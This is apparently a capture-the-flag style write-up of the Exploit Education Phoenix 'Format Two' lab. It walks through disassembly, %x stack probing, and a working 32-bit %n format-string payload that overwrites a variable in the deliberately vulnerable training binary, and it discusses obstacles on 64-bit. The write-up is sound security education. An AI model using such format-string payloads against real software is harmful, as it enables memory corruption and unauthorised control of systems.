Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise
  6. Stack Five Writeup - Exploit Education Lab Exercise
  7. Stack Six Writeup - Exploit Education Lab Exercise
  8. Format Zero Writeup - Exploit Education Lab Exercise
  9. Format One Writeup - Exploit Education Lab Exercise

If you haven’t done setting-up your lab, feel free to check out my previous article on lab setup

Quick Overview

Similar to Format One Writeup, Format Two exercise motives are smashing the stack, overwrite arbitrary memory address or variable. However, this Format Two challenge revolves around Format String Vulnerability and quite challenging when exploiting in 64-bit architecture binary.


Disassembling the code will get you overall idea behind the format-two code, One can use gdb ./format-two to start debugging it in runtime.

  1. gdb ./format-two
  2. Type disassemble main to get the disassembled code (assembly)
   0x0804852c <+0>:     lea    ecx,[esp+0x4]
   0x08048530 <+4>:     and    esp,0xfffffff0
   0x08048533 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048536 <+10>:    push   ebp
   0x08048537 <+11>:    mov    ebp,esp
   0x08048539 <+13>:    push   ebx
   0x0804853a <+14>:    push   ecx
   0x0804853b <+15>:    sub    esp,0x100
   0x08048541 <+21>:    mov    ebx,ecx
   0x08048543 <+23>:    sub    esp,0xc
   0x08048546 <+26>:    push   0x8048620
   0x0804854b <+31>:    call   0x8048330 <puts@plt>
   0x08048550 <+36>:    add    esp,0x10
   0x08048553 <+39>:    cmp    DWORD PTR [ebx],0x1
   0x08048556 <+42>:    jle    0x80485a3 <main+119>
   0x08048558 <+44>:    sub    esp,0x4
   0x0804855b <+47>:    push   0x100
   0x08048560 <+52>:    push   0x0
   0x08048562 <+54>:    lea    eax,[ebp-0x108]
   0x08048568 <+60>:    push   eax
   0x08048569 <+61>:    call   0x8048350 <memset@plt>
   0x0804856e <+66>:    add    esp,0x10
   0x08048571 <+69>:    mov    eax,DWORD PTR [ebx+0x4]
   0x08048574 <+72>:    add    eax,0x4
   0x08048577 <+75>:    mov    eax,DWORD PTR [eax]
   0x08048579 <+77>:    sub    esp,0x4
   0x0804857c <+80>:    push   0x100
   0x08048581 <+85>:    push   eax
   0x08048582 <+86>:    lea    eax,[ebp-0x108]
   0x08048588 <+92>:    push   eax
   0x08048589 <+93>:    call   0x8048340 <strncpy@plt>
   0x0804858e <+98>:    add    esp,0x10
   0x08048591 <+101>:   sub    esp,0xc
   0x08048594 <+104>:   lea    eax,[ebp-0x108]
   0x0804859a <+110>:   push   eax
   0x0804859b <+111>:   call   0x8048515 <bounce>
   0x080485a0 <+116>:   add    esp,0x10
   0x080485a3 <+119>:   mov    eax,ds:0x8049868
   0x080485a8 <+124>:   test   eax,eax
   0x080485aa <+126>:   je     0x80485be <main+146>
   0x080485ac <+128>:   sub    esp,0xc
   0x080485af <+131>:   push   0x804866c
   0x080485b4 <+136>:   call   0x8048330 <puts@plt>
   0x080485b9 <+141>:   add    esp,0x10
   0x080485bc <+144>:   jmp    0x80485ce <main+162>
   0x080485be <+146>:   sub    esp,0xc
   0x080485c1 <+149>:   push   0x80486ab
   0x080485c6 <+154>:   call   0x8048330 <puts@plt>
   0x080485cb <+159>:   add    esp,0x10
   0x080485ce <+162>:   sub    esp,0xc
   0x080485d1 <+165>:   push   0x0
   0x080485d3 <+167>:   call   0x8048360 <exit@plt>

Before taking a look at the code, if you disassembled the format-two using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/format-two, brought to you by message via Puts (aka printf) method
  2. If the program receives an argument from the command line (i.e., argc is greater than 1), it initializes a character array “buf” with size 256 and sets all its values to zero using “memset” function.
  3. It then copies the first argument passed (i.e., argv[1]) into the “buf” array using “strncpy” function. If the length of the argument exceeds the size of the buffer (256), it will be truncated.
  4. The program then calls the “bounce” function with the “buf” array as an argument.
  5. If the “changeme” variable is not zero, it prints “Well done, the ‘changeme’ variable has been changed correctly!” to the standard output.
  6. If the “changeme” variable is zero, it prints “Better luck next time!” to the standard output.
  7. The program exits with status code 0.

Memory Allocation - Exploit Strategy

If you take closer look at the memory allocation, changeme variable it’s placed on the stack before buffer char array. There is no way you could overflow buffer overflow variable and overwrite changeme variable. However, introducing %n format modifier string can perform this magic by overwriting the address using format string vulnerability.

Our first step is to print “AAAA” temporarily and find the padding where it gets stored in the stack memory. We can start our exploration with couple of %x which helps in printing the address of the stack,

user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-two $'AAAA%x.%x.\n'
Welcome to phoenix/format-two, brought to you by
Better luck next time!

Our experiment continues untill we find AAAA or 41414141 in the stack and eventually we come to know that it occurs at the 12th padding,

user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-two $'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n'
Welcome to phoenix/format-two, brought to you by
Better luck next time!

Now that we found the padding, it’s time to find the exact memory address of changeme variable. For 64-bit binary format-two it should be 0x600af0 and 32-bit binary should be 0x08049868. While performing the exploit, I personally found 64-bit arch challenging due to few reasons discussed in the next section.

So, let’s come up with a payload for 32-bit arch format-two binary first,

$'\x08\x04\x98\x68%x %x %x %x %x %x %x %x %x %x %x %n \n'

However, if you take a closer look, most AT&T and Intel system uses little endian system. So, we might need to rewrite the address in reverse order.

$'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'

Challenge faced while exploiting 64-bit binary

As mentioned above while going through memory address of changeme variable in the stack of 64-bit binary should be 0x600af0 and it contains unreasonable characters 😥 - \x00 and \0a null character & new line terminator which is interpreted by the strncpy function and completely terminates the argument while copying to the buffer.

However, there might be better strategy to overcome this issue by altering environment variables that may push the address or placing the address to the end of the string in payload.


Now, our strategy should be,

  1. Input format string as \x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n
  2. Now, printf overwrites the changeme using random address from stack.
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
Welcome to phoenix/format-two, brought to you by
h�ffffd8ac 100 0 f7f84b67 ffffd700 ffffd6e8 80485a0 ffffd5e0 ffffd8ac 100 3e8
Well done, the 'changeme' variable has been changed correctly!

There you go! 🎉 You’ve officially pwned and you may eventually gain code execution in upcoming exercises 🪲


Source and Reference:

  1. Format Two Exercise: Exploit Education

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.

Author Profile Photo - Shivasurya


Software Engineer, Security @ Dropbox